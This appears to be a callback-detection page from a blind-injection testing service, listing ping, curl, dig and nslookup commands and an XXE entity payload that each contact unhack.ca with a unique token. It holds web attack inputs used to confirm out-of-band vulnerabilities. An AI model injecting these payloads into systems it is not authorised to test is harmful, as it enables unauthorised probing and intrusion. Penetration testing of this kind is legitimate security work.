$ ping -c1 -p 002c946ff80eaf75fae305cecd030200 unhack.ca
 
$ curl http://unhack.ca/p/2c946ff80eaf75fae305cecd0302
 
$ dig 2c946ff80eaf75fae305cecd0302 @unhack.ca
 
$ dig 2c946ff80eaf75fae305cecd0302.ns.unhack.ca
 
C:\> nslookup 2c946ff80eaf75fae305cecd0302 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2c946ff80eaf75fae305cecd0302">]>
    <foo>&xxe;</foo>
 
Waiting for ping...